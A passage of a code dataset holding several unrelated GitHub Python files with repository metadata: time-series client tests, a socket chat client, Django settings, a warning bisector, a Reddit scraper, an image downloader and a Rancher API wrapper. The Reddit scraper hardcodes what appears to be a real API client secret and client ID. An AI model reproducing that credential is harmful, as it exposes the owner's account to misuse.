     serie = Ingester(backend)\n        serie.append(1585934895000, name='value')\n        request = backend.prepare_request(serie.payload())\n        assert request.url == 'http://localhost/api/v0/update'\n        assert request.method == 'POST'\n        assert request.headers['X-Warp10-Token'] == 'ABCDEF0123456789'\n        assert request.body == \"1585934895000000// name{} 'value'\\n\"\n\n\nclass TestInflux:\n    \"\"\"A set of tests with InfluxDB as backend\"\"\"\n\n    _DEFAULT_MEASUREMENT = 'data'\n\n    @pytest.mark.parametrize('params, expected', [\n        ({'timestamp':1585934985000, 'name':'value'}, _DEFAULT_MEASUREMENT + \" name=\\\"value\\\" 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'name':42}, _DEFAULT_MEASUREMENT + \" name=42i 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'name':42.0}, _DEFAULT_MEASUREMENT + \" name=42.0 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'measurement':'mes', 'name':'value'}, \"mes name=\\\"value\\\" 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'tags':{'tag1':'tval1', 'tag2':1664}, 'measurement':'mes', 'name':'value'}, \"mes,tag1=tval1,tag2=1664 name=\\\"value\\\" 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'name1':'value1', 'name2':42}, _DEFAULT_MEASUREMENT + \" name1=\\\"value1\\\",name2=42i 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'measurement':'mes', 'name1':'value1', 'name2':42}, \"mes name1=\\\"value1\\\",name2=42i 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'tags':{'tag1':'tval1'}, 'measurement':'mes', 'name1':'value1', 'name2':42}, \"mes,tag1=tval1 name1=\\\"value1\\\",name2=42i 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'clé':'va/ =€ur\\''}, _DEFAULT_MEASUREMENT + \" clé=\\\"va/\\\\ \\\\=€ur\\\\'\\\" 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'tags':{'tàg 1':'$ € $'}, 'measurement':'mes', 'name':'value'}, \"mes,tàg\\\\ 1=$\\\\ €\\\\ $ name=\\\"value\\\" 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'boolean':True}, _DEFAULT_MEASUREMENT + \" boolean=T 1585934985000000000\\n\"),\n        ({'timestamp':1585934985000, 'boolean':False}, _DEFAULT_MEASUREMENT + \" boolean=F 1585934985000000000\\n\")\n    ], ids=[\n        'simple',\n        'integer',\n        'float',\n        'measurement',\n        'tags',\n        'multipoints',\n        'measurement+multipoints',\n        'measurement+tags+multipoints',\n        'unicode',\n        'escaped unicode tags',\n        'true boolean',\n        'false boolean'\n    ])\n    def test(self, params, expected):\n        backend = Client('influx', 'http://localhost:8086', database='metrics')\n        serie = Ingester(backend)\n        serie.append(**params)\n        assert serie.payload() == expected\n\n    def test_timestamp(self):\n        backend = Client('influx', 'http://localhost:8086', database='metrics')\n        serie = Ingester(backend)\n        serie.append(measurement=\"mes\", name=42)\n        assert serie.payload().startswith(\"mes name=42i \")\n\n    def test_commit(self, mock_send_ok):\n        backend = Client('influx', 'http://localhost:8086', database='metrics')\n        serie = Ingester(backend)\n        serie.append(name=42)\n        serie.commit()\n\n    @pytest.mark.parametrize('length, batch_size', [(9, 3), (9, 4)])\n    def test_batch(self, length, batch_size, mock_send_ok):\n        backend = Client('influx', 'http://localhost:8086', database='metrics')\n        serie = Ingester(backend, batch=batch_size)\n        for i in range(1, length+1):\n            serie.append(1585934895000+10000*i, key=\"value{}\".format(i))\n        assert serie.length() == length % batch_size\n\n    def test_backend_auth(self):\n        # pylint: disable=protected-access\n        backend = Client('influx', 'http://localhost:8086', database='metrics',\n                         backend_username='user', backend_password='passwd')\n        serie = Ingester(backend)\n        serie.append(1585934895000, measurement='mes', name='value')\n        request = backend.prepare_request(serie.payload())\n        assert request.url == 'http://localhost:8086/write?db=metrics&u=user&p=passwd'\n        assert request.method == 'POST'\n        assert request.body == \"mes name=\\\"value\\\" 1585934895000000000\\n\"\n\n    def test_http_auth(self):\n        # pylint: disable=protected-access\n        backend = Client('influx', 'http://localhost:8086', database='metrics',\n                         http_username='user', http_password='passwd')\n        serie = Ingester(backend)\n        serie.append(1585934895000, measurement='mes', name='value')\n        request = backend.prepare_request(serie.payload())\n        assert request.url == 'http://localhost:8086/write?db=metrics'\n        assert request.method == 'POST'\n        assert request.headers['Authorization'] == 'Basic dXNlcjpwYXNzd2Q='\n        assert request.body == \"mes name=\\\"value\\\" 1585934895000000000\\n\"\n","repo_name":"gmasse/universal-tsdb","sub_path":"tests/test_metrics.py","file_name":"test_metrics.py","file_ext":"py","file_size_in_byte":11301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"12125003482","text":"import socket\r\nimport threading\r\n\r\nServerIP = '127.0.0.1'\r\nPORT = 6665\r\n\r\n#Conexão com o servidor\r\nclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\ntry:\r\n    username = input('Nome de usuário: ')\r\n    client.connect((ServerIP,PORT))\r\n    print(f'Conexão realizada em {ServerIP}:{PORT}')\r\nexcept:\r\n    print(f'ERROR: A conexão não pode ser realizada em: {ServerIP}:{PORT}')\r\n\r\n#recebimento de mensagens\r\ndef receiveMessage():\r\n    while True:\r\n        try:\r\n            message = client.recv(2048).decode('utf-8')\r\n            if message=='getUser':\r\n                client.send(username.encode('utf-8'))\r\n            else:\r\n                print(message)\r\n        except:\r\n            print('ERROR: Servidor indisponível')\r\n\r\n#envio de mensagem\r\ndef sendMessage():\r\n    while True:\r\n        client.send(input().encode('utf-8'))\r\n        \r\n#divisão das tarefas\r\nthread1 = threading.Thread(target=receiveMessage,args=()) \r\nthread2 = threading.Thread(target=sendMessage,args=())\r\n\r\nthread1.start()\r\nthread2.start()","repo_name":"gustavognobre/Cliente-servidor-py","sub_path":"cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33736342436","text":"###################\n# Locale settings #\n###################\n\n# These settings are defaults: change in settings_local.py if desired\nTIME_ZONE = 'America/Los_Angeles'\nLANGUAGE_CODE = 'en-us'\nDATETIME_FORMAT = 'N j, Y, P'\nUSE_L10N = False\nUSE_I18N = True\n\n\n########################\n# Datebase information #\n########################\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.postgresql_psycopg2'\n        # The rest of the DB configuration is done in settings_local.py\n    }\n}\n\nfrom .settings_local import CACHE_FILENAME\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',\n        'LOCATION': CACHE_FILENAME\n    }\n}\nSOUTH_TESTS_MIGRATE = False\n\n\n#################\n# Site settings #\n#################\n\nMEDIA_URL = '/media/'\nSTATIC_URL = '/static/'\nROOT_URLCONF = 'editorsnotes.urls'\n\nAUTH_USER_MODEL = 'main.User'\nAUTHENTICATION_BACKENDS = (\n    'django.contrib.auth.backends.ModelBackend',\n)\n\nLOGIN_REDIRECT_URL = '/auth/'\nLOGIN_URL = '/auth/signin'\n\nCORS_URLS_REGEX = r'^/(?!auth).*$'\nCORS_ORIGIN_ALLOW_ALL = True\n\n\n#################\n# Path settings #\n#################\nimport os\n\nEN_PROJECT_PATH = os.path.abspath(os.path.join(\n    os.path.normpath(os.path.dirname(__file__)),\n    os.path.pardir\n))\n\n#STATICFILES_DIRS = (\n#    os.path.join(EN_PROJECT_PATH, 'editorsnotes', 'static'),\n#)\n\n# Override these variables in settings_local.py if desired\nDEBUG = False\ntry:\n    from .settings_local import STORAGE_PATH\nexcept ImportError:\n    STORAGE_PATH = EN_PROJECT_PATH\n\nMEDIA_ROOT = os.path.join(STORAGE_PATH, 'uploads')\nSTATIC_ROOT = os.path.join(STORAGE_PATH, 'static')\n\n\n###################\n# Everything else #\n###################\n\nTEST_RUNNER = 'editorsnotes.testrunner.CustomTestSuiteRunner'\n\nTEMPLATE_LOADERS = (\n    'django.template.loaders.filesystem.Loader',\n    'django.template.loaders.app_directories.Loader',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n    'django.contrib.auth.context_processors.auth',\n    'django.core.context_processors.debug',\n    'django.core.context_processors.i18n',\n    'django.core.context_processors.media',\n    'django.core.context_processors.request',\n    'django.core.context_processors.static',\n    'django.contrib.messages.context_processors.messages',\n)\n\nMIDDLEWARE_CLASSES = (\n    'corsheaders.middleware.CorsMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n)\n\nINSTALLED_APPS = (\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.staticfiles',\n    'corsheaders',\n    'reversion',\n    'licensing',\n    'rest_framework',\n    'rest_framework.authtoken',\n    'widget_tweaks',\n    'django_nose',\n    'editorsnotes.main',\n    'editorsnotes.auth',\n    'editorsnotes.djotero',\n    'editorsnotes.api',\n    'editorsnotes.search',\n)\n\nSTATICFILES_FINDERS = (\n    'django.contrib.staticfiles.finders.FileSystemFinder',\n    'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\nREST_FRAMEWORK = {\n    'DEFAULT_AUTHENTICATION_CLASSES': (\n        'rest_framework.authentication.SessionAuthentication',\n        'rest_framework.authentication.TokenAuthentication'\n    ),\n    'DEFAULT_RENDERER_CLASSES': (\n        'rest_framework.renderers.JSONRenderer',\n        'editorsnotes.api.renderers.JSONLDRenderer',\n        'editorsnotes.api.renderers.BrowsableJSONLDRenderer',\n        'editorsnotes.api.renderers.TurtleRenderer',\n        'editorsnotes.api.renderers.BrowsableTurtleRenderer',\n    ),\n    'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n    'PAGE_SIZE': 25\n}\n\n# Add in local settings\nfrom .settings_local import *\nDATABASES['default'].update(POSTGRES_DB)\ntry:\n    INSTALLED_APPS = INSTALLED_APPS + LOCAL_APPS\nexcept NameError:\n    pass\n\nif DEBUG:\n    LOGGING = {\n        'version': 1,\n        'disable_existing_loggers': False,\n        'handlers': {\n            'console': {\n                'class': 'logging.StreamHandler',\n            },\n        },\n        'loggers': {\n            'editorsnotes': {\n                'handlers': ['console'],\n                'level': 'INFO',\n            },\n        }\n    }\n","repo_name":"editorsnotes/editorsnotes-server","sub_path":"editorsnotes/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"}
+{"seq_id":"41019802571","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfrom collections import Counter\n\nfrom logspam import WARNING_RE\nfrom logspam.cli import BaseCommandLineArgs\nfrom logspam.logs import retrieve_test_logs\n\nfrom mozregression.bisector import (\n    Bisector, Bisection, NightlyHandler, IntegrationHandler)\nfrom mozregression.dates import parse_date\nfrom mozregression.errors import DateFormatError\nfrom mozregression.fetch_build_info import IntegrationInfoFetcher\nfrom mozregression.fetch_configs import create_config\nfrom mozregression.json_pushes import JsonPushes\nfrom mozregression.log import init_logger\nfrom mozregression.test_runner import TestRunner\n\nimport re\n\n\nclass WarningBisector(object):\n    def __init__(self, good, bad, platform, warning,\n                 warning_limit, warning_re, ignore_lines,\n                 required_test):\n\n        init_logger()\n        self.use_nightly = True\n        try:\n            self.good = parse_date(good)\n            self.bad = parse_date(bad)\n        except DateFormatError:\n            # This hopefully a revision range. We can bypass nightly and\n            # go directly to InboundHandler. That itself is a bit of a misnomer,\n            # it will still bisect m-c builds, but by changeset range, not date\n            # range.\n            self.use_nightly = False\n            self.good = good\n            self.bad = bad\n\n        self.ignore_lines = ignore_lines\n        self.test_runner = WarningTestRunner(\n                warning, platform,\n                ignore_lines=ignore_lines,\n                warning_re=warning_re,\n                warning_limit=warning_limit,\n                required_test=required_test)\n\n        # Convert the platform to a mozregression friendly version.\n        # Also avoid overwriting the os module by *not* using |os| for a\n        # variable name.\n        (_os, bits) = re.match(r'([a-zA-Z]+)-?([0-9]+)?', platform).groups()\n        if not bits or bits not in (32, 64):\n            bits = 32\n\n        # windows7-32\n        # windows7-32-vm\n        # win32\n        # win64\n        if '64' in platform:\n            bits = 64\n\n        if _os.startswith('win'):\n            _os = 'win'\n\n        print(\"_os = %s bits = %s\" % (_os, bits))\n\n        # TODO(ER): We might be able to ditch this.\n        self.fetch_config = create_config('firefox', _os, int(bits))\n        # Hardcode to m-c for now.\n        self.fetch_config.set_repo('mozilla-central')\n        self.fetch_config.set_build_type('debug')\n\n        class FakeDownloadManager:\n            def focus_download(self, foo):\n                pass\n\n        dm = FakeDownloadManager()\n        self.bisector = Bisector(self.fetch_config, self.test_runner, dm, False, None)\n\n    def bisect(self):\n        if self.use_nightly:\n            result = self.bisect_nightly()\n        else:\n            result = self.bisect_inbound(self.good, self.bad)\n\n        (good, bad) = result\n        if self.test_runner.check_for_move(self.fetch_config.repo, good):\n            print(\"You should probably try bisecting again from the good revision\")\n\n        print(\"Done bisecting I guess\")\n        return result\n\n    def bisect_nightly(self):\n        handler = NightlyHandler(ensure_good_and_bad=True)\n        result = self.bisector.bisect(handler, self.good, self.bad)\n        if result == Bisection.FINISHED:\n            print(\"Got as far as we can go bisecting nightlies...\")\n            handler.print_range()\n            print(\"Switching bisection method to taskcluster\")\n            result = self.bisect_inbound(handler.good_revision, handler.bad_revision)\n        else:\n            # TODO(ER): maybe this should be an exception...\n            result = (None, None)\n\n        return result\n\n    def bisect_inbound(self, good_rev, bad_rev):\n        # Remember, InboundHandler is just a changeset based bisector. It will\n        # still potentially bisect m-c first.\n        handler = InboundHandler()\n        result = self.bisector.bisect(handler, good_rev, bad_rev, expand=0)\n        if result == Bisection.FINISHED:\n            print(\"No more m-c revisions :(\")\n            handler.print_range()\n            # Try switching over to the integration branch.\n            if len(handler.build_range) == 2:\n                result = handler.handle_merge()\n                if result:\n                    branch, good_rev, bad_rev = result\n                    self.fetch_config.set_repo(branch)\n                    return self.bisect_inbound(good_rev, bad_rev)\n\n        return (handler.good_revision, handler.bad_revision)\n\n\nclass BisectCommandLineArgs(BaseCommandLineArgs):\n    @staticmethod\n    def do_bisect(args):\n        print(\"do_bisect called\")\n        print(args)\n        bisector = WarningBisector(args.good, args.bad, args.platform,\n                                   args.warning, args.warning_limit,\n                                   args.warning_re, args.ignore_lines,\n                                   args.required_test)\n\n        # TODO(ER): Get the pushlog for bad, check for the file the warning is\n        #           in in the changeset.\n        (good, bad) = bisector.bisect()\n\n\n    def add_command(self, p):\n       parser = p.add_parser('bisect',\n            help='Attempts to find the changeset that introduced a given '\n                 'warning through bisection.')\n       self.add_arguments(parser)\n       parser.set_defaults(func=BisectCommandLineArgs.do_bisect)\n\n    def add_arguments(self, p):\n        # TODO(ER): add a date/revision parser\n        p.add_argument('good', action='store', default=None,\n                       help='Last known good date. Will be validated.')\n        p.add_argument('bad', action='store', default=None,\n                       help='Last known bad date.')\n        p.add_argument('warning', nargs='?',\n                       help='The text of a warning you want the full details of.')\n\n        super(BisectCommandLineArgs, self).add_arguments(p)\n\n        p.add_argument('--ignore-lines', action='store_true', default=False,\n                       help='Ignore line numbers when bisecting warnings. Useful if' \\\n                            ' the line number of the warning has changed. Not so ' \\\n                            'useful if there are a lot of similar warnings in the ' \\\n                            'file.')\n        p.add_argument('--warning-limit', action='store', type=int, default=1000,\n                       help='The threshold of warnings for going from good to ' \\\n                            'bad. Default: 1000.')\n        p.add_argument('--required-test', action='store', default=None,\n                       help='Test that must be present to compare revisions')\n\n\nclass WarningTestRunner(TestRunner):\n    \"\"\"\n    TestRunner to use in conjunction with bisection.\n    \"\"\"\n    def __init__(self, warning, platform='linux64', ignore_lines=False,\n                 warning_re=WARNING_RE, warning_limit=1000,\n                 required_test=None):\n        TestRunner.__init__(self)\n        self.warning = warning\n        self.warning_re = warning_re\n        self.platform = platform\n        self.ignore_lines = ignore_lines\n        self.warning_limit = warning_limit\n        self.required_test = required_test or \"\"\n\n    def check_for_move(self, repo, changeset):\n        \"\"\"\n        Checks if the warning has moved lines but still exists.\n        \"\"\"\n        if self.ignore_lines:\n            return False\n\n        files = retrieve_test_logs(\n                repo, changeset[:12],\n                self.platform, warning_re=self.warning_re)\n\n        combined_warnings = Counter()\n        for log in files:\n            if log:\n                combined_warnings.update(log.warnings)\n\n        possible_move_found = False\n        normalized = re.match(r'^(.*), line [0-9]+$', self.warning).group(1)\n        for (k, v) in combined_warnings.items():\n            if k.startswith(normalized) and v > self.warning_limit:\n                print(\"Possible line move:\\n  %d - %s\" % (v, k))\n                possible_move_found = True\n\n        if possible_move_found:\n            jp = JsonPushes(repo)\n            push = jp.push(changeset)\n            print(\"Try this date: %s\" % push.utc_date)\n\n\n        return possible_move_found\n\n    def evaluate(self, build_info, allow_back=False):\n        files = retrieve_test_logs(\n                build_info.repo_name, build_info.changeset[:12],\n                self.platform, warning_re=self.warning_re)\n\n        # Somewhat arbitrary, but we need to make sure there are enough tests\n        # run in order to make a reasonable evaluation of the amount of\n        # warnings present.\n        if not files or len(files) < 20:\n            # Tell the bisector to skip this build.\n            print(\"Skipping build %s, not enough tests run\" % build_info.changeset[:12])\n            return 's'\n\n        combined_warnings = Counter()\n        found_test = False\n        for log in files:\n            if log:\n                combined_warnings.update(log.warnings)\n                if not found_test:\n                    found_test = self.required_test in log.job_name\n\n        if self.ignore_lines:\n            normalized = re.match(r'^(.*), line [0-9]+$', self.warning).group(1)\n\n            total = 0\n            for (k, v) in combined_warnings.items():\n                if k.startswith(normalized):\n                    total += v\n            print(\"%d - %s\" % (total, normalized))\n        else:\n            total = combined_warnings[self.warning]\n            print(\"%d - %s\" % (total, self.warning))\n\n        if not found_test:\n            print(\"Skipping build %s, required test %s was not run\" % (\n                    build_info.changeset[:12], self.required_test))\n            return 's'\n\n        if total > self.warning_limit:\n            print(\"%d > %d\" % (total, self.warning_limit))\n            return 'b'\n        else:\n            print(\"%d <= %d\" % (total, self.warning_limit))\n            return 'g'\n\n    def run_once(self, build_info):\n        return 0 if self.evaluate(build_info) == 'g' else 1\n","repo_name":"EricRahm/log-spam-hell","sub_path":"logspam/bisect.py","file_name":"bisect.py","file_ext":"py","file_size_in_byte":10157,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"25416522134","text":"import praw\nimport db\nfrom db import DB\nimport classifiers\nimport training\nimport stats\n\nconn = DB()\n\nuser_agent = \"EpisodeDiscussions 1.0 by chasedog\"\n\nreddit = praw.Reddit(user_agent=user_agent, client_secret=\"onbDi1nT26b-5lATWO-hRQJyTM8\", client_id=\"GoA8FYqBzRTY2g\")\n\n#posts = reddit.search(\"title:episode discussion flair:'Season 1'\", subreddit=\"gameofthrones\", sort=\"new\", limit=20)\n#posts = reddit.search(\"flair:discussion\", subreddit=\"raydonovan\", sort=\"new\", limit=100)\n#posts = reddit.search(\"episode discussion\", subreddit=\"southpark\", sort=\"relevance\", limit=500)\n#posts = reddit.search(\"discussion\", subreddit=\"breakingbad\", sort=\"relevance\", limit=500)\n\n\n\ncolumns = db.tables[0][\"columns\"]\n\ndef mapToDict(data):\n    dataDict = {}\n    columns = [c for c in db.tables[0][\"columns\"] if \"ignore\" not in c]\n\n    for idx, column in enumerate(columns):\n        dataDict[column[\"db\"]] = data[idx]\n\n    return dataDict\n\ndef getValidData(subreddit):\n    insertData = []\n    classifier = training.getClassifier()\n    posts = reddit.subreddit(subreddit).search(\"discussion OR thread\", sort=\"relevance\", limit=1500)\n    for post in posts:\n        tupledData = []\n        dataDict = {}\n        for column in [column for column in columns if \"ignore\" not in column]:\n            fieldName = column[\"db\"][0]\n            value = getattr(post, fieldName) if \"mapper\" not in column else getattr(getattr(post, fieldName), column[\"mapper\"])\n            tupledData.append(value)\n            dataDict[fieldName] = value\n\n        features = classifiers.getFeatures(dataDict)\n\n        is_valid = classifier.classify(features) == \"yes\"\n\n        if is_valid:\n            insertData.append(dataDict)\n    return insertData\n\ndef getData(subreddit):\n    insertData = []\n    classifier = training.getClassifier()\n    posts = reddit.subreddit(subreddit).search(\"discussion OR thread\", sort=\"relevance\", limit=1500)\n    for post in posts:\n        tupledData = []\n        dataDict = {}\n        for column in [column for column in columns if \"ignore\" not in column]:\n            fieldName = column[\"db\"][0]\n            value = getattr(post, fieldName) if \"mapper\" not in column else getattr(getattr(post, fieldName), column[\"mapper\"])\n            tupledData.append(value)\n            dataDict[fieldName] = value\n\n        features = classifiers.getFeatures(dataDict)\n\n        is_valid = classifier.classify(features) == \"yes\"\n\n        data = (is_valid,) + tuple(tupledData)\n        insertData.append(data)\n    return insertData\n\nif __name__ == \"__main__\":\n    data = getData(\"madmen\")\n    #stats.extractSeasonsAndEpisodes(data)\n    #print(data)\n    print([(d[0],d[2]) for d in data])\n    #conn.insertManyTrainingData(data)","repo_name":"chasedog/EpisodeDiscussions","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16775357126","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom collections import Counter\nimport argparse\n\ndef arg_parse():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--data', type=str, default='./data/penn')\n    parser.add_argument('--ncls', type=int, default=30, help='number of class')\n    parser.add_argument('--min_count', type=int, default=0, help='the min count of word that appear in corpus')\n    args = parser.parse_args()\n    return args\n\ndef freq_counter(corpus):\n    counter = Counter()\n    with open(corpus) as f:\n        for l in f.read().splitlines():\n            for w in l.split():\n                counter[w] += 1\n    return counter\n\ndef class_assign(counter, num_class, mcount):\n    words_with_freq = list(counter.items())\n    words_with_freq.sort(key=lambda x: x[1], reverse=True)\n\n    words_with_freq = list(filter(lambda x: x[1]>=mcount, words_with_freq))\n\n    words_sorted = list(map(lambda x:x[0], words_with_freq))\n    class_list = []\n    chunk_size = len(words_sorted) // num_class + 1\n    for i in range(0, len(words_sorted)):\n        class_list.append(i // chunk_size)\n    return zip(words_sorted, class_list)\n\nif __name__ == '__main__':\n    args = arg_parse()\n    counter = freq_counter(args.data + '/train.txt')\n    words_with_cls = class_assign(counter, args.ncls, args.min_count)\n    with open(args.data + '/vocab.c.txt', 'w') as f:\n        for w, c in words_with_cls:\n            f.write(w + ' ' + str(c) + '\\n')\n\n\n\n","repo_name":"sa1ka/pytorch_language_model","sub_path":"build_vocab_with_class.py","file_name":"build_vocab_with_class.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"37799681580","text":"from pathlib import Path\nimport os.path\nimport requests\nimport pandas as pd\nfrom tabulate import tabulate\n\n\nclass Images:\n    IMAGES_FOLDER = \"/../images/\"\n    IMAGES_EXTENSIONS = ['jpg', 'png', 'jpeg']\n\n    def __init__(self):\n        self.dir = str(Path(__file__).parent.absolute()) + self.IMAGES_FOLDER\n        self.create_dir()\n        self.errors = {}\n        self.product_count = 0\n        self.images_count = 0\n        self.error_count = 0\n\n    def create_dir(self):\n        if not os.path.isdir(self.dir):\n            Path(self.dir).mkdir(parents=True, exist_ok=True)\n\n    def download_images(self, sku, basename, images):\n        img_num = 1\n        self.product_count += 1\n        images_names = []\n        if basename == '':\n            basename = sku\n        for img_url in images:\n            if img_url == '':\n                continue\n            img_ext, img_url = self.get_image_extension(img_url)\n            img_name = f\"{basename}-{str(img_num)}.{img_ext}\"\n            result_ok = self.download_from_url(img_url, img_name)\n            images_names.append(img_name)\n            if not result_ok:\n                if sku not in self.errors:\n                    self.errors[sku] = []\n                self.errors[sku].append(img_url)\n                self.error_count += 1\n            img_num += 1\n        return images_names\n\n    def get_image_extension(self, img_url):\n        original_url = img_url\n        img_url = img_url.split('?')[0]\n        img_ext = img_url.split(\".\")[-1]\n        if img_ext not in self.IMAGES_EXTENSIONS:\n            return 'jpg', original_url\n        return img_ext, img_url\n\n    def download_from_url(self, image_url, img_name):\n        img_path = self.dir + img_name\n        header = self.get_header()\n        response = requests.get(image_url, headers=header)\n        if response.ok:\n            with open(img_path, 'wb') as f:\n                f.write(response.content)\n                self.images_count += 1\n                print(\"\\r\", f\"Imagens baixadas [{self.images_count}]\", end=\"\")\n            return True\n        return False\n\n    @staticmethod\n    def get_header():\n        return {\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36'\n        }\n\n    def print_proccess_info(self):\n        print(f\"\\n\\n---- Informações\")\n        df_info = pd.DataFrame(\n            [[self.product_count, self.images_count, self.error_count]],\n            columns=[\"SKUs\", \"Imagens OK\", \"Imagens com erro\"]\n        )\n        print(tabulate(df_info, headers=\"keys\", tablefmt=\"psql\", showindex=False))\n        if self.error_count > 0:\n            print(f\"\\n---- Erros\")\n            df_errors = pd.DataFrame(list(self.errors.items()), columns=[\"SKU\", \"URLs com erro\"])\n            print(tabulate(df_errors, headers=\"keys\", tablefmt=\"psql\", showindex=False))\n        ","repo_name":"matheus-delazeri/download_images_from_url","sub_path":"lib/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5939375477","text":"from beedrones.rancher.client import RancherObject\nfrom beecell.simple import truncate\nfrom re import sub\n\n\nclass RancherCluster(RancherObject):\n    \"\"\"RancherCluster\n    \"\"\"\n\n    def list(self, **filter):\n        \"\"\"List clusters\n\n        :param filter: custom filter\n        :return: list of clusters\n        \"\"\"\n        res = self.http_list('/clusters', **filter)\n        self.logger.debug('List clusters: %s' % truncate(res))\n        return res\n\n    def get(self, cluster_id):\n        \"\"\"Get cluster info\n\n        :param cluster_id: cluster id\n        :return: cluster info\n        \"\"\"\n        res = self.http_get('/clusters/%s' % cluster_id)\n        self.logger.debug('Get cluster: %s' % truncate(res))\n        return res\n\n    def get_projects(self, cluster_id):\n        \"\"\"Get projects within a cluster\n\n        :param cluster_id: cluster id\n        :return: list of projects\n        \"\"\"\n        res = self.http_get('/clusters/%s/projects' % cluster_id)\n        self.logger.debug('List projects: %s' % truncate(res))\n        return res\n\n    def get_registration_cmd(self, cluster_id):\n        \"\"\"Get registration command to be run on each virtual machine you want to become a node of your cluster\n\n        :param cluster_id: cluster id\n        :return: command string\n        \"\"\"\n        res = self.http_get('/clusters/%s/clusterregistrationtokens' % cluster_id)\n        reg_cmd = res.get('data')[0]\n        self.logger.debug('Registration command: %s' % truncate(reg_cmd))\n        return reg_cmd\n\n    def __camel_case(self, s):\n        s = sub(r\"(_)+\", \" \", s).title().replace(\" \", \"\")\n        return ''.join([s[0].lower(), s[1:]])\n\n    def __convert_key(self, data):\n        if isinstance(data, dict):\n            data1 = {}\n            for k, v in data.items():\n                if k.find('-') > 0:\n                    data1[k] = self.__convert_key(v)\n                else:\n                    data1[self.__camel_case(k)] = self.__convert_key(v)\n        else:\n            data1 = data\n        return data1\n\n    def add(self, data, *args, **kvargs):\n        \"\"\"Create cluster\n\n        :param data: cluster configuration data\n        :param kvargs: cluster param\n        :return: cluster id\n        \"\"\"\n        data = self.__convert_key(data)\n        data['type'] = 'cluster'\n        res = self.http_post('/clusters', **data)\n        self.logger.debug('Add cluster: %s' % res.get('id'))\n        return res\n\n    def delete(self, cluster_id):\n        \"\"\"Delete cluster\n\n        :param cluster_id: cluster id\n        :return: True\n        \"\"\"\n        self.http_delete('/clusters/%s' % cluster_id)\n        self.logger.debug('Delete cluster: %s' % cluster_id)\n        return True\n","repo_name":"Nivola/beedrones","sub_path":"beedrones/rancher/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16992819339","text":"\"\"\"Specifications for the django admin panel\"\"\"\n\nfrom adminsortable.admin import SortableTabularInline, SortableAdmin, TabularInline\nfrom django.contrib import admin\nfrom django.utils.text import capfirst\nfrom django.utils.translation import gettext_lazy as _\nfrom website.models import Menu, MenuItemBase, Page, PageDraft, Redirect, SiteModel, News, NewsDraft\n\nfrom utils.admin import GuardedModelAdmin\n\n\nadmin.site.index_title = _('Admin page')\nadmin.site.site_header = _('The Physics Chapter - Administration')\nadmin.site.site_title = _('Site Management')\n\n\nclass PageDraftInline(TabularInline):\n    model = PageDraft\n    extra = 1\n    fields = ('page_type', 'content_sv', 'content_en')\n\n\nclass NewsDraftInline(TabularInline):\n    model = NewsDraft\n    extra = 1\n    fields = ('page_type', 'content_sv', 'content_en')\n\n\n@admin.register(Page)\nclass PageModelAdmin(GuardedModelAdmin):\n    list_display = ('name', 'slug', 'published', 'first_published_at','publish_time', 'unpublish_time')\n    search_fields = ('name', 'url',)\n    prepopulated_fields = {'slug': ('name',), }\n\n    fieldsets = (\n        (None, {\n            'fields': ('name', 'url', 'slug', 'page_type', 'parent')\n        }),\n        (capfirst(_('content')), {\n            'fields': ('content_sv', 'content_en')\n        }),\n        (capfirst(_('publication info')), {\n            'fields': ('first_published_at', 'publish_time', 'unpublish_time')\n        }),\n    )\n    inlines = [\n        PageDraftInline\n    ]\n\n\nclass MenuItemInline(SortableTabularInline):\n    model = MenuItemBase\n    extra = 0\n    fields = ('name', 'url', 'page', 'is_menu')\n\n\n@admin.register(Menu)\nclass MenuModelAdmin(SortableAdmin):\n    list_display = ('name', 'link', 